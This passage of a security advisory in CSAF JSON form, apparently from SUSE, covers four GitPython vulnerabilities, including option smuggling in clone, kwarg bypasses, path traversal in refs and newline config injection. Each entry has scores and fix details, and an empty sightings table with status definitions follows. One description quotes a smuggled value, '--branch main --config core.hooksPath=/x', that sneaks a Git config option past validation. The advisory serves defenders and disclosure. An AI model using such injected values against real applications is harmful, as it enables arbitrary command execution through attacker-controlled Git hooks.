"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42215"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42215",
"url": "https://www.suse.com/security/cve/CVE-2026-42215"
},
{
"category": "external",
"summary": "SUSE Bug 1264604 for CVE-2026-42215",
"url": "https://bugzilla.suse.com/1264604"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-18T09:43:07Z",
"details": "important"
}
],
"title": "CVE-2026-42215"
},
{
"cve": "CVE-2026-42284",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42284"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(\" \".join(multi_options)). A string like \"--branch main --config core.hooksPath=/x\" passes validation (starts with --branch), but after split becomes [\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42284",
"url": "https://www.suse.com/security/cve/CVE-2026-42284"
},
{
"category": "external",
"summary": "SUSE Bug 1264605 for CVE-2026-42284",
"url": "https://bugzilla.suse.com/1264605"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-18T09:43:07Z",
"details": "important"
}
],
"title": "CVE-2026-42284"
},
{
"cve": "CVE-2026-44243",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44243"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0027s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44243",
"url": "https://www.suse.com/security/cve/CVE-2026-44243"
},
{
"category": "external",
"summary": "SUSE Bug 1264606 for CVE-2026-44243",
"url": "https://bugzilla.suse.com/1264606"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-18T09:43:07Z",
"details": "moderate"
}
],
"title": "CVE-2026-44243"
},
{
"cve": "CVE-2026-44244",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44244"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python\u0027s configparser without validating for newlines. GitPython\u0027s own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header - so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44244",
"url": "https://www.suse.com/security/cve/CVE-2026-44244"
},
{
"category": "external",
"summary": "SUSE Bug 1264608 for CVE-2026-44244",
"url": "https://bugzilla.suse.com/1264608"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-18T09:43:07Z",
"details": "important"
}
],
"title": "CVE-2026-44244"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.